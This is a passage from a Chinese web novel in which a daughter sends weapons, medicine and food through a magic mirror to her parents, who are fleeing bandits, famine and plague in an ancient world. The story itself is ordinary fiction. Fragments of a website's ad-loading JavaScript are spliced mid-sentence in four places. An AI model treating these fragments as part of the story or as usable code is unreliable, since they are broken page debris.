袁淼明白了,她现在发现,不仅金元宝上的字有讲究,谢云溪送过来的首饰上也有文字,都在不太容易发现的地方,想来也是父母那边有名的首饰店出品。 于师傅那句“出自名家之手”没有说错,只是他不知道这个名家是另一个世界的名家。 马车外面突然喧哗起来,袁博文将帘子掀开一角往外看,顿时脸色大变,催促妻子:“出事了,快把镜子收起来!”转头又对袁淼说:“淼淼,爸妈这边出了点状况,一会再跟你说,你先休息!” 话音刚落,镜子里的袁博文夫妇就消失不见。袁淼吓了一跳,明白事情肯定不小,否则父母不会这么慌乱。 她静不下来了,但隔着无尽时空,再担心也没用,索性开始收拾东西。 袁博文夫妇这边确实出了大事。这天下了小雨,路不好走,没能按时到达先前约好的休息点,现在的停留点在一个山坡下,这里避风。 他们现在已经进入了郴州地界,在前往州府的路上,一路随行的难民比先前少了一些,但沿途经过的村落荒无人烟,不知道是被洗劫过,还是生计没了着落,村民全离开了,一片荒芜。 这夜风大,轮到袁归守夜,他与庄家的几个家丁围坐在篝火旁边。北风呼啸,光听声就让人心里发毛。有个家丁嘟哝:“这鬼天气,也不知道明天还下不下雨?” “依我看还得下,咱们到郴州至少还得三四天咯。” 行程的时间一再拉长,前路漫漫,大伙都觉得难,又说起沿途见闻,饥寒已经是寻常,半路上倒下的不知道有多少。 袁归一直没吭声,再骇人的事情他都见过,倒下个人算什么。 暖烘烘的篝火烧着,白天的疲乏上来了,有人打起了哈欠。袁归站起身:“跟我到那边转转吧。” 那人揉了揉眼,还没起身,又被袁归拉住了:“那边,是你们的板车吧?” 庄家家丁定眼一看,惊叫一声:“坏了,有人抢车!” 篝火旁边坐着的另外两个家丁也站了起来,其中一个喊道:“站住!你们在干什么?” 说完,三人朝着那边过去了。 袁归手慢了片刻,一个都没拉住了,急得跳脚。他早得了袁博文的嘱咐,任何时候人都是最重要的,一辆拉货的板车能值几个钱?这一看就知道还有后手。 他连忙拿起地上的锣鼓敲起来,声音才起,就见到四面八方钻出了好些个人,各个手上拿着家伙。其中有两个正冲他而来。 眼见人就要到跟前了,袁归只得丢了锣鼓,捡起了一旁的棍子。 袁博文跟谢云溪交待了几句后下了马车,手里拿着佩剑,瞧着过来的人就捅。他下手很准,一剑就见了血,后面的人一时吓得不敢上前。 福伯手里拿着扁担,瞧着一个后脑勺就捶,那人惨叫一声倒地。福伯护着念荟来到袁博文旁边:“老爷!” 袁博文盯着前面的人:“念荟上车!” 他说着话,手里的剑也不好含糊,划伤一个上前的抢匪。 念荟吓得不轻,掀开帘子正要上去,对上了一把寒光闪闪的短匕,她心里一惊,差点叫出声。 谢云溪一把将念荟拉进来,又把手中的匕首塞到了她手上,自己则又拿起了一旁的弓/弩,搭箭拉弓,动作流畅。 刚到这里的时候,他们夫妻俩为了找到能回家的办法,走南闯北去了很多地方,也遇到了不少险境。当下里谁都没慌,一个在车上应对,一个在车下砍人。 庄家那边则乱成了一团,庄炜拿着佩剑护在女眷的马车旁,但他完全没有袁博文的从容淡定,此刻提剑的手都在发抖,好在他家的人多,很快聚拢过来。另一辆马车一时没人看守,抢匪上了车,搬了东西就走了。 有家丁要追,庄炜叫住他:“回来!保护好老夫人!” 已经得手的抢匪刺激了同伙,原本不敢上前的这会也猛冲起来。庄炜虽提着宝剑左劈右砍,却一点章法都没有, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还是叫人上了马车,一时间马车里哭声喊声响成一团。 袁博文见情况不好,又砍倒一个后,把袁归抓了过来:“你在这边守好,不准任何人上车!我去那边看看!” 他提着剑冲到庄炜跟前,一剑捅伤一个抢匪后,又把往车上爬的另一个人揪下来,上了马车就见里面的人挤成了一团。 庄老夫人抱着孙子,手里拿着一支带血的金簪,庄夫人披头散发护着他们。 袁博文把抱着手惨叫的抢匪一脚踹了下去:“没人受伤吧?” 庄老夫人摇头:“我儿呢?” 马车旁边的庄炜听到声音:“母亲,我在这里!” 袁博文见人没事就下了车。庄炜见袁博文这么凶猛,这会也有了胆气,砍伤一个后,又要追另一个,不料这人是个狠茬子,反手夺过了他手中的剑后,一下刺中了他的胸膛。 庄炜不敢相信看着插在自己胸口的剑,人往后倒了下去。 “老爷受伤了!”不知道是哪个家丁叫了起来。 场面更加混乱了。 袁博文抢到庄炜跟前,按住他的伤口。 庄炜死死盯着他,正要交待后事,袁博文阻止:“你别说话!这伤云溪会治!” 原本绝望的庄炜也生了勇气了,点了点头,安心躺了下来。 袁博文一把抓住了庄炜的手,教他捂在伤口上:“按好了!” 庄炜点头。 得了手的抢匪纷纷跑了,没跑的要么被围住了,要么受了伤。袁家马车这边的场面已经被控制住了,谢云溪也看到了庄家那边的情况,找出一个袋子下了车,与赶过来接人的袁博文刚好对上了。 夫妻俩来到庄炜跟前,配合十分默契,一个帮忙解衣裳,一个在拿药。 谢云溪看了一眼中剑的位置:“不要紧,离心脏还远!”她按住了伤口,让袁博文拔剑。 剑被拔出来时,血也喷了出来。下了马车的庄老夫人刚好看到了这一幕,腿脚一软,差点倒地,庄夫人则一下晕厥了过去。 谢云溪连忙消毒止血,她现在很庆幸,女儿上次传过来的药很全,碘伏棉签都有,止血的中药常备,抗生素也还剩下了不少。 现在也顾不得被人发现了。她剥了两颗胶囊塞进了庄炜嘴里,嘱咐他咽下去。好在庄炜的伤在肩胛处,天冷,穿的厚,伤口也不深,性命应该无碍。 伤口处理好了,袁博文嘱咐家丁们把人抬上了马车,又安慰庄老夫人:“伯母放心,玉瑾不会有事。” 庄老夫人一脸感激,幸亏跟袁家结伴同行,否则这一次他们说不定都要交待在这里了。 抢匪已经跑光,他们就是难民,原本就为抢劫而来,虽然有所收获,但也伤了好几个。庄家这边除了庄炜受伤,还有两个家丁也受了伤,谢云溪也处理了。 回到自家的马车旁边,福伯报告了损失,另一辆马车上的东西丢了不少,好在都是些不值钱,值钱的东西先前就被谢云溪传给了袁淼,她乘坐的马车没一个抢匪上去。 庄家的损失看样子不少,不过好在到郴州也没几天了。 夜已经过了大半,谢云溪问:“要不要跟淼淼说一声?” 袁博文想了片刻:“说吧,免得她担心。” 14. 第 14 章 原本扒在镜子前睡觉的袁淼听到响动抬起了头。看到父母都在后,她松了一口气。 “你们没事吧?到底出了什么事?” “刚来了几个土匪,不过都被打跑了。”谢云溪关切看着袁淼,“你怎么还没睡?” “我马上就睡了。”袁淼回答,随后她看到了袁博文脸上的血,心里一惊,“爸,你受伤了吗?” 袁博文愣了愣,谢云溪连忙把他脸上的血擦掉了。 “我们都好,没人受伤,你爸脸上的血是别人的。” 袁淼的心却悬了起来。都见血了,可见有多危险。 “爸妈,我给你们传点防身武器吧?” 袁博文和谢云溪面面相觑,他们还没想到这个。防身武器他们有,袁博文的佩剑,谢云溪随身带的匕首,但这里的武器能跟现代化的武器相提并论吗?就不说枪炮这类的热武器了,刀剑之类的冷兵器都不如现代的锋利好用。 “好!但你要注意安全。”袁博文说,他没忘记现代对武器的严格管控,“不能买卖的东西不要碰!” “我知道的。” 确定爸妈没事后,袁淼又问了事情经过,也没睡意了,上网搜了一下防身武器,多是些电棍辣椒水之类。 电棍是很厉害,但这东西能在父母那边拿出来吗?而且用完了还得充电,怎么充?那里的电还没发明出来呢。 袁淼犯难了,显然这类东西得找懂门道的。她想到了沈若臻,但看了看时间,决定天亮后再说。 第二天袁淼就给沈若臻打了电话,沈若臻吓了一跳:“你没事吧?是不是遇到麻烦了?” “我很好。你现在忙吗?我来找你。” 沈若臻自然不忙,他原本就对袁淼有点意思,奈何一直没机会。 “你在哪儿?我过来接你。” 袁淼拒绝了,问清楚地址后,坐出租车来到了地方。沈若臻在门口等着,一见到人就过来问:“真没事吗?” 袁淼笑着说:“你看我像是有事的样子吗?” 沈若臻上下打量袁淼一番,“你怎么突然想到要买防身武器?” “你别问那么多了,就告诉我这类东西在哪里可以买到?我要的可不是电棍那些。” “那你要什么?” 袁淼想了想:“刀!跟古代电视剧上演的那种差不多,还有qiang,不是火/qiang!而是古代的人打仗用的那种长qiang!” 沈若臻奇怪极了:“你买这些干什么?你……要拍视频?” 袁淼笑了,就不说原因,只问沈若臻有没有办法可以买到,她有用。 沈若臻没法了:“你倒是找对人了,我有个朋友就好这个,还开了个店。走吧!” 袁淼很高兴,跟着沈若臻坐车来到一个巷子里,下了车后又转了几个弯才到地方。门口的招牌写着户外生存用品专卖店,进去了发现门店不大,墙上挂的,柜子里摆放的都是些户外生存的用品,能称得上武器的也就电棍伸缩刀之类。 老板年纪不大,扎了根马尾,支了个躺椅在柜台里面,正睡得香。沈若臻径直进去,踢了一脚:“楚萧!” 老板一下惊醒,见是沈若臻后又躺上了,打着哈欠,摇晃着问:“你怎么来了?” “买点东西。”沈若臻说。 老板手一挥,人没动:“自己拿!” 沈若臻又轻踢了一脚:“我要里面的。” 老板这才看到进来不是沈若臻一个人,还有个美女。他眼睛亮了,上下打量袁淼一通后,挤眉弄眼低声问:“谁呀?你女朋友?眼光不错嘛!正点!” 沈若臻的脸了红,不过他皮肤黑,不仔细看不出来。 “快起来!” 老板起来了,给了个眼色:“要不让你女朋友在外面等会?” 刀枪之类的,女的一般不感兴趣,免得吓到了人。 沈若臻悄悄看了袁淼一眼,见她面不改色,心里微凉:“你瞎说什么?她是我妹的同学,袁淼,是她要买。” 老板愣了愣,转头看向袁淼,笑着说:“袁小姐想买什么?我这货没摆全,库房里还有,你只管说,我给你拿。” 袁淼看到沈若臻和老板相处的情形就知道他们的关系很好,她直言:“我要买刀,qiang也可以。”说完,她就看向沈若臻,希望后面由沈若臻来。熟人好说话。 老板的脸色变了,但很快就恢复了正常:“你要买这些干什么?防身的话,买根电棍就行了,我这里才到一批功率超强的,很好用,特别适合你们女生。” 袁淼笑着说:“我先看刀吧。” 楚萧看了一眼沈若臻,拍了一下大腿:“行!” 说完,他挪开了柜台里面墙上挂着的东西,按了一下旁边的按钮后,原本的墙缓缓往上升,露出了一扇门开来。 袁淼惊奇极了,没想到还能这么设计。她跟着沈若臻进去。楚萧开了灯。 不大的空间,靠墙有一面玻璃橱柜,橱柜里面陈列着一柄长剑,剑鞘雕龙环绕,典雅肃重。 袁淼看呆了,她要的就是这种! 再看墙上,方天画戟,红樱长qiang,双节棍,弓/弩都有,还有一些叫不出名字的武器,一时间袁淼有种时间错乱的感觉。 “怎么样?看中哪个了?” 袁淼指着橱柜的长剑说:“这叫什么剑?” 楚萧笑着说:“这是唐横刀。”他开了柜子,拿出东西。 刀一出鞘,袁淼就忍不住往后缩了一步。即便是什么都不懂,她也知道这是一把好刀,令人望而生畏。 “这是用复合夹钢打造,虽然没有达到削铁如泥的地步,但吹毛立断没问题。” 楚萧说着,揪了根头发下来,现场演练了一番。 沈若臻看呆了。大多数男人都对兵刃感兴趣,他也不例外。 “多少钱一把?”袁淼问。 楚萧惊奇看着她,他没想到这么漂亮的小姑娘居然对刀/剑感兴趣:“一万!” “你别狮子开大口!”沈若臻说。 楚萧笑了:“行!看在你的份上,八千!” “五千!我要两把!”袁淼说完,又指了墙上的弓/弩,“还有这个。” 父母那边一共五个人,她打算买两把刀,一支长枪,一个弓/弩,还有外面的电棍和太阳能充电板。她不知道哪种好用,这次多买几样,传过去让父母都过过手,下次就有数了。 楚萧看着她,觉得这姑娘太不一般了,“五千可不行,我进价都要六千了,这样吧,你是黑子带过来的,咱也不是外人,一口价,六千五 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,你把运费给我就行了。” 袁淼同意了。 楚萧又说:“袁小姐,我这儿的东西放家里收藏还可以,拿出去耍可不行哦。” “我知道的,老板放心,我保证你卖给我的东西不会伤害这个世界上任何一个人。”袁淼认真说。 楚萧看着她,笑了笑:“行,我相信你!” 说完把墙上的弓/弩拿下来,教袁淼怎么使用:“我这个可跟古装剧里面的不一样,上面有瞄准器和远视镜,最高射程可以达到600米,威力不比一般的步、qiang差。这是单支箭的,还有连弓/弩,可以连续发射十箭……” “不过那种我现在没货。这玩意别看它毫不起眼,实际上老贵了,进价都是六位数起步。” 袁淼问:“比唐横刀还贵吗?” “加个零!我这个你想要,十二万给你,这可是一分钱都没赚。” 袁淼看向沈若臻,沈若臻面露尴尬,没说话。 楚萧笑着说:“你看他没用,他老早就看中了我这个了,可惜囊中羞涩!” 沈若臻轻咳了一声,示意楚萧别揭短了。 袁淼点头,指着墙上的红缨长qiang:“我要了!还有这只qiang!” 楚萧没想到袁淼会这么痛快,他看了沈若臻一眼。沈若臻点头。楚萧放心了。 刀枪弓都买了,袁淼又选了两根电棍,预备父母交替使用。刀枪弓太阳能充电板携带不方便,她留了地址,老板送货上门。 出了门,沈若臻问:“怎么会突然想到买这些?” “反正我有用,你别问了。” 时间不早了,袁淼邀沈若臻一起吃了饭,吃完饭后,沈若臻回去上班了,袁淼又去药店买了些药。 昨天晚上的意外,父母身边虽然没有人受伤,但跟他们同行的一家伤了好几个,其中有位庄叔叔较重,谢云溪已经给她列药单。 袁淼按照药单买了药,又去超市买了大米和菜。回到家时,天已经黑了,她发现自己家的门锁又被动了。周围并无异常,袁淼没有声张,开了门进去,把手上的东西放下之后,就去厨房洗手。 天花板上没有异常。 洗了手,她又来到卧室,一眼就看到窗帘底下的有双男鞋。她把手伸到包里,摸上了才买到的电棍,装作什么都没发现的样子朝窗户走去,靠近的瞬间就拿出了电棍,对准窗帘微凸的地方放电。 一声惨叫瞬间响起,只一会,就有个矮胖的身体倒了下来。口吐白沫,两眼上翻,都倒在地上了,还在抽搐。 居然是同租那家的男主人! 袁淼看了看手中的电棍,确实是好东西!没有买错! 家里进人,人赃俱获。袁淼给110打了个电话,没多久,警察就上来了。这下整栋楼都知道出了事,隔壁的女主人看到被绑的结实的自家男人时,傻眼了。 被电晕的男人还没醒,警察询问事情经过,袁淼一五一十说了。 隔壁的女主人连忙说:“误会误会!都是邻居!抬头不见低头见的!一场误会!” 袁淼没理她,早先她就提醒过了。警察也没理会,一切按规章办事,问清楚经过后就把人带走了。女主人没拦住,破口大骂。 袁淼关了门,反正她就要搬走了,才不怕这些。 15. 第 15 章 同租的女人还在骂,隔壁邻居受不了,有家男人出来说:“你还骂啥呢?丢不丢人?别欺人太甚了!人家小姑娘一个,要不是你家男人不是东西,人家会报警吗?” 周围的人纷纷附和。 那女人是个欺软怕硬的,嘟哝了两句,灰溜溜回屋了,四处打电话捞人。 袁淼听到外面的响动没有了,才敲响了镜子。谢云溪出现在镜子里面。袁淼问:“我爸呢?” “你爸在外面,我们今天请了三个镖师同行,你爸正跟人说话呢。” 镖师?袁淼晕乎了一会,“那你们手上还有钱吗?我把上次的匣子给你们。” “不用了。”谢云溪连忙叫住袁淼。她上次传给女儿的匣子里面并不是他们夫妻在这边所有的家当,那些只是较贵重的一部分,他们手上还有些零散的小钱。而且这次聘请的镖师就是一同从沔州逃难出来的人。 但他们没袁家夫妻这么幸运,慌忙出逃,带的食物早就吃完了。现在有钱都买不到粮食,沿途的树皮草根都被剥光了,他们已经饿了几天。袁博文过去一说,他们只要管饭就答应了。 当然,袁博文还是出了点聘金。有点想头,干活才会更加用心。 也就是又多了吃饭的人。袁淼连忙把今天买到的药和大米菜提过来:“妈,你看,今天我买了这些。” 谢云溪笑了,有了药,庄玉瑾的伤就没问题了,有女儿在,他们这一路上完全不用担心吃喝,现在安全也有保障。 “好,你传过来吧。” 袁淼把东西传了过去,又告诉谢云溪今天买武器的事情。不过,东西要明天才能送到。至于电棍,她买了两根。刚才实验过了,效果很好。她也一并传了过去。 “充电的太阳能板,我也买了,明天一起给你们。不过这种你们方便拿出来吗?” “没事。”谢云溪笑着说,“袁归他们几个已经跟了我们几年,都是可靠的。” 听谢云溪这么说,袁淼放心了。没把今天晚上出租屋进人的事情告诉谢云溪,她已经打算明天就去看房子了。 “爸爸还没说完话吗?” 谢云溪掀开帘子的一角往外看了看,回头笑着说:“你爸现在正在跟威武镖局的商师傅学招呢。” 威武镖局的商远身边带了两个人,一个是他的小徒弟商泽,另一个是镖局掌门贺威的闺女贺天凤。 商远与贺重山师出同门,地震来的时候,贺威带着手下的镖师正在外面走镖,家里就剩下了他们三个。 灾难来得突然,他们什么都没顾上,随着逃难的大部队走了两天,带的吃食就没了,有钱都买不到东西,一路过来树皮草根都吃过,原本的八尺大汉现在瘦的就剩下骨架了,原以为要捱不到郴州了,谁知道柳暗花明又一春。 沔州的袁举人小有名气,不惑之年高中举人,能跟他们同行属实是运气,所谓的保护对于商远来说不过是举手之劳,而且人家不仅管吃,还付了酬劳。 所以,对于袁博文的请教,商远很是尽心。 袁博文学的很认真,世道已经乱了,没两把刷子很难立足,如今他们人单势薄,再来一次难民冲击绝对守不住。请镖师保护只能是一时,最终还得靠自己。 袁淼也来了兴趣,她才干倒了一个坏蛋,但那是借助工具,要是自己也会功夫,那就走哪儿都不怕了:“他学的怎么样?” “我看还行。”谢云溪笑着说。这些年他们也算是历练了不少,但那都是临危之下的应对,真正的功夫并没学过。 袁淼很高兴,有功夫傍身那自然是好,乱世里也多了一份生存下去的仰仗。 “庄叔叔的伤好些没有?”袁淼又问。 “好多了,他的伤口原本就不深,离心脏远着呢,他是自己给吓的。” 袁淼却不这么认为,即便是伤口不深,在那样的环境下,没有抗生素,想要活下来也很难。 谢云溪认同女儿的观点,没有抗生素,庄玉瑾的伤如果感染了的话,确实不好说。庄老夫人也因此对他们很是感激,还送了一支百年人参。 谢云溪把人参拿给袁淼看:“这可是真正的老参,在现代怕是有钱都买不到,你收好。” 袁淼连忙摆手:“妈,你给我,我也没有用。你们留着自己用。”给她的话,那就只能卖了,卖给谁?卖多少钱?她都不知道。 “我这里不方便,这可是可遇不可求的。你先放好。” 袁淼还是收了。 母女俩说完话后,袁淼就开始打包收拾东西。第二天等到防身武器送到了,她传给了父母,而后便出门看房子。 她目前所在的瀚海设计公司在二环内,周围的房价比三环外高了不少,房租也贵,一套小两居普遍都要六七千一个月了。 前车之鉴就在昨天,袁淼没有过多在意租金高低,挑了环境较好的一个小区,月租金七千多。签订合同后,她就拿到了钥匙。简单打扫了卫生,她把自己的东西搬过来了。 时间仓促,当天只搬了重要的物品。晚上睡在新的地方,她心里踏实了许多。第二天把父母给的东西又清点了一遍,拿了五个十两的金元宝和五个十两金锭子,来到了大福源楼银楼。 当她拿出金子时,大福源负责兑换的经理愣了愣后才接过,看了一会后又戴上手套,脸上的笑也出来:“您稍等,我打个电话。” 袁淼心里奇怪,暗地防备他们会昧下金子。暗说这样的事情不会发生,毕竟是大品牌奢侈品店。但巨大诱惑面前,很多都不好说。 经理打完电话没多久,楼上下来了一个人,约莫三十四五岁的样子,西装革履,一副成功人士的样子。经理让开位置,这人戴上手套看了好一会。望着袁淼说:“您是要全部都兑换吗?” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是的。” “那上面是今天的金价。按照我们大福源的规定,您这些金子在我们店里兑换需要每克减去45元的相关费用……” 袁淼看了看墙上的金价,居然比上一次在宋记兑换涨了五元钱,她这次带出来的金子上面都刻有庆元二字,纯度经过鉴定都是95%。 不过,金子上标注是足金。过去的提炼水平还是跟现在不一样。 大福源和宋记的扣减的费用是一样,她这次带出来的金子兑换到了三百八十六万六千元。收到钱到账的消息后,袁淼心里的石头落地了。 “袁小姐是第一次来我们大福源兑换黄金吧?”西装革履的男人微笑问道。 “是啊。” “这是我的名片,我是大福源魔都总部的负责人唐伟明,您如果下次再有黄金出手,可以打上面的电话,我们会给您在相关费用上给予优惠。” “是吗?能优惠多少?”袁淼问。她手上可是还有好几百两黄金呢。 唐伟明却没给准话,只表示欢迎再来,兑换的越多,他们的优惠力度就会越大。袁淼也没再细问了,她现在手上的钱已经不少了,拍卖行那边也打了电话过来,不日就要进行相关的宣传拍摄,如果那两件玉器能拍卖成功,她又能到账至少几百万。 从大福源出来,袁淼就去看车了,目标很早就有了。倒不是她懂车,是徐清阳懂,大学期间有段时间徐清阳就在车行兼职,他说等他有钱了,就给她买一辆白色的宝马7系。 现在他是有钱了,但从前的话不知道被风吹到了哪个角落。 全款提现车,手续很快办好了,坐在自己买的宝马车里,袁淼的心情也跟着飞扬了起来。这天把出租屋里还剩下的东西全拉到了新租的房子里。 晚上跟父母见面,袁淼就把兑换黄金和买车的事情告诉了他们。 袁博文说:“大福源银楼以后可以经常去,像他们这样的首饰店对金子的需求量很大,虽然一般都有固定货源渠道,但对能大量出手黄金的个人也会非常欢迎。” 谢云溪也点头,金子在他们这边也属于硬通货,虽然也不容易获得,但比较起其他,金子仍然是给女儿改善生活最好的东西。如果能有一个长期稳定的兑换渠道,那就太好了。以后他们在这边挣的钱,都可以兑换成金子给女儿。 袁淼倒没想那么远,她觉得自己手上的钱已经够用了,倒是父母那边让人担心,大环境恶劣,个人很难独善其身。 “爸,我买的刀枪弓你看过了吗?怎么样?好用吗?” “好用!”袁博文笑着说。那把唐横/刀他一拿出来,商远的眼睛就直了,只呼好刀,还问是在哪里买到的。长枪倒是不出奇,就是弓/弩有些骇人,配备了瞄准器,简直是远程攻击的无上利器。不过,现代化特征太明显了,他没让其他人看到。 袁淼也笑了,好用就行。 16. 第 16 章 转眼假期结束,袁淼要上班了。头一天作息还没调整过来,她到公司时一个人都没有。主管方文娜这天看起来心情不太好,看到袁淼,皱了下眉头:“你跟我进来。” 袁淼在心里把自己近期的工作捋了下,没发现哪里出纰漏,然而一进去还是被摔了一脸文件。 “你怎么做事的?又不是第一天上班,竟然出了这么大的问题!” 袁淼二丈摸不到头脑:“出问题?出什么问题了?” “你还有脸问我?你自己看!” 袁淼捡起方文娜摔在办公桌上的文件,仔细看了看:“这不是我负责的。” 方文娜斜着眼睛看着袁淼:“怎么不是你负责?我前段时间不是交给你了吗?都大半个月了,你一点东西都没交上来!公司总部都等着设计稿呢!我看你是不想干了,到现在还在狡辩!” “我请假之前就跟你说过,这件案子我没时间接手,当时你明明同意了的。” “你什么时候跟我说过?到现在还在找理由!你看全公司谁像你?动不动就请假,你有家人要照顾,其他人就没有吗?一请就是大半个月,要都像你这样,公司干脆关门算了!” 袁淼还要分辩,她其实请过的长假只有这一次,奶奶病重以及后续的丧事办理,她不得不请假。而且请的时候,面前的人并无二话。但人如果耍起赖,她也没办法,毕竟没有人证,而且还是上级。 她把文件收了,正要离开。 “站住!”方文娜叫住了她,“你有没有教养?一声不吭就走。” 袁淼有种反击的冲动,但冲动是魔鬼,这份工作的薪资很可观,离开了她未必能找到差不多的工作。 “我给你两天时间,两天之后设计稿必须出来!否则的话,你就走人吧!” 两天!原本大半个月未必能完成的事,居然要她两天完成,这分明是刁难! “两天的时间太仓促了!” “不想干?不想干你就走啊!” 袁淼欲言又止,她还想留。今天的方文娜给她的感觉很奇怪,动不动就赶人,以前的她虽然脾气暴躁,但没这么苛刻。说不定是遇到了什么事,心情不好,拿她当了出气筒。不理智的情况下,多一句话都是错。 两天就两天吧,好在先前她看过通稿,心里原本就有底。原先打算抽空去看房子的,现在只能往后推了。 袁淼回公司上班的这天,袁博文等人跟往常一样往郴州赶路。路漫漫,流民成线,蜿蜒盘曲,前后都看不到尽头。这年的冬天似乎也比往年来的更早,才入十月没几天就飘起了雪,洋洋洒洒,漫无边际。 袁归骑了马打听了消息回来。 “老爷,郴州城不让进了!” 袁博文吃了一惊:“到底怎么回事?你慢慢说。” “草蛮子要打过来了!郴州城里怕进奸细,城门昨日就关了!我从那边过来,看到好些人从郴州折返了!他们说现在城里不让进,施粥前几天就停了,那边没有吃的,也没人管。” 袁博文一时无语。都走这里了,却听到了这样的消息。 “有没有朝廷赈灾的消息?” 袁归摇头:“还没有。” 草蛮子有异动的消息不是一天两天,往年他们就经常骚扰边界,郴州旁边的皖州最受其害。今年年程不好,又逢了地震水灾,草原那边也波及到了。袁博文料到今年不会太平,只是没想到会来的这么早。 雪下得更大了,目光所及一片苍白。袁博文望了一会,转头进了马车,把刚得到的消息告诉了谢云溪。谢云溪也犯难了:“现在怎么办?咱们还去不去郴州?” 袁博文一时也没主意,本来的计划就是从郴州开始,现在连城里都进不去,一切计划都枉然。 “我问问玉瑾吧,看他们怎么打算?” 庄炜听到消息,惊得差点跳起:“此事当真?” 袁博文点头:“这是袁归刚打听到的消息,折返的人就在路上,许是要不了多久咱们就能碰到了。” “那怎么办?”庄炜皱着眉头。这几天他谨遵谢云溪的嘱咐,伤口已经大好,但依旧得卧床,一连几天呆马车里不动,他觉得自己都成废物了。偏袁博文与新请的镖师就在附近比划,他馋得眼睛都直了。 没想到袁子虚不仅读书厉害,身手也这般矫健。他跟人家一比,简直一无是处。 “要不,我们去晋州吧?”庄炜突然说,“我妹妹一家就在晋州!” 晋州离郴州并没有多远,路途顺利三四天就能到达。不过,晋州是个小城,跟西北重镇郴州不能比,袁博文也从未去过。 庄炜已经沉浸在前往晋州的想象里了:“到了晋州就好了!我妹夫在军中任职,有任何风吹草动,他一定会比其他人更早知道消息。” 袁博文看了庄炜一眼,他还在犹豫。如今关内尚且哀鸿遍野,草原肯定更加艰难,要想有活路,北凉必然会南下抢掠,这次的兵难一定不小,郴州城墙巍峨,兵强马壮,到底还是更安全些。 可现在进不了城。 庄炜力邀袁博文一起前往晋州,他被上次的抢劫闹怕了,现在自己还起不来,再来一次,那他们全家就要被一锅端了。 袁博文一时无法决定,要跟谢云溪商量后再决定。他走后,庄炜便让小厮将庄老夫人请了过来,将郴州城门已关的事情告诉了她。 庄老夫人立刻便决定去晋州。庄炜叹了口气:“我邀子虚同行,他尚未答应。” 庄老夫人皱着眉头:“咱们一家去晋州确实不妥……你还是多劝劝他,最好两家一起行动。” 庄炜答应了。庄老夫人又说:“今天又没有买到粮食,我们的存粮最多只能撑一两天了,你要赶紧想办法,还有这么多张嘴呢。” 说起这个,庄炜也头疼。原本他们离开沔州时预备充足,谁知道半路上会遇到流民抢劫,人虽然一个不少,东西却被抢了不少。他已经差了两个家丁到处打听消息,哪里能买到粮食,不拘价钱多少,有,就买。 可惜,他们开到天价了,至今都没有消息。 袁博文回去后,把庄家要去晋州的打算告诉了谢云溪,谢云溪也在犹豫。夫妻俩想的一样,不能只看到眼前。要是北凉那边真打过来,北地十六州中,实力最强的还是郴州。不仅武力充足,经济形势也最好。临山靠海,进可攻,退可守。 但现在是城门关了,他们进不去。 夫妻俩一时都不知道该如何决定。马车悠悠,没行多久,他们就看到了相对而来的难民,皆衣衫褴褛,形容憔悴。郴州的城门的果然关了,城下的难民铺天盖地,别说树皮草根了,观音土都没得吃了。 没了活路,原本聚集在城下的难民许多都在另谋出路。 谢云溪看着马车外面经过的人流,各个目光呆滞,了无生气。她心里难受,对袁博文说:“我们去晋州吧。” “好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”袁博文刚好也下了决定。只不过他们先前跟威武镖局商定目的地是郴州,现在也要跟他们说明。 商远也犹豫了。贺天凤看着经过的人流,对商远说:“师叔,我们也去晋州吧。”到了郴州,进不了城,也是死路一条。 商远缓缓点头,马上去找袁博文商量这事。袁博文自然欢迎,有三个镖师在身边,他们的安全也能得到更好的保障。 两家的车队掉了个头,往晋州进发。天蒙蒙黑时,看到了村落人家,大伙都很高兴,以为这晚能吃顿热乎饭菜,然而进了村,才发现又是荒村一座,一个人都没有。不过,看各处布置摆设,应该是才走没多久。 雪还在洋洋洒洒往下落,袁博文和庄炜商定后,决定这晚就在村里落脚。袁博文找了一户院落宽敞整洁的人家,谢云溪下了马车,袁归和福伯已经在打扫整理了。谢云溪摸了摸案台上的灰,并没有落多少。这表示这家的人也是才走没多久,只是走的匆忙,连门都忘记关了。 念荟说:“夫人,那边有口井,我去打点水来,您洗个手吧。” “好。” 念荟去忙了,谢云溪又四下看了看,突然闻到了一股味道。她皱了皱眉,推开了一扇虚掩的门,原本停息在尸体上的绿头苍蝇一下炸开,四处飞散。 匆匆一眼,当医生多年的谢云溪一下料到发生了什么事,当下惊的脸色苍白,连忙关门,叫住忙碌的众人:“都住手!这里不能呆了!我们要赶紧离开!” 在院子里的袁博文听到声音过来了:“发生什么事了?” 谢云溪指着门说:“里面有死人,如果我没有看错,应该是染疫而死。这里不能呆,我们得马上离开!” 袁博文也变了脸色。大灾之后,必有大疫,果然来了。 “好,我去跟玉瑾说。你们什么东西都不能动!一切行动听夫人安排!” 交待完后,袁博文就走了。 谢云溪把马车上的消毒酒精拿了出来,让袁归等人搓洗消毒,最外面的衣裳也别要了。 袁归等人二话没说就照做了,商远三人却在犹豫,他们并不明白谢云溪为什么这么做,别的都好说,让把身上最外层的衣裳不要,他们舍不得。 “商师傅放心,跟你们身量差不多的衣裳,我们有备,你们身上这一套就当是我买下来了。”谢云溪不想在这里跟大家过多讲解防止瘟疫扩散的重要性,眼下尽快离开才最要紧。 “那多不好。”商远讪讪说。在谢云溪的一再要求下,还是脱下了自己最外层的衣裳。 众人又回到了马车旁边,等了一会,袁博文回来了。庄家那边也发现了死人,庄老夫人也是见识过厉害的,当下就让所有人不要动。 耽误了这么一会,天已经完全黑了。点了灯,赶了约莫一个时辰的路后,他们才停下来。 谢云溪以为这么晚了,女儿多半已经休息,结果在镜子里一看,人就在坐在镜子跟前,正伏案忙事。 “这么晚了,你怎么还没有睡?” 袁淼笑着问:“你们不也一样吗?今天是不是到郴州了?” 袁淼现在已经知道两个世界的时间基本差不多,这里是白天,父母那边一样也是白天。 “没有,我们现在在往晋州的路上。” “为什么突然要去晋州?” 谢云溪叹了口气,把原因告诉了女儿。她现在需要女儿尽快传一批防疫消毒的物品和药品过来。 17. 第 17 章 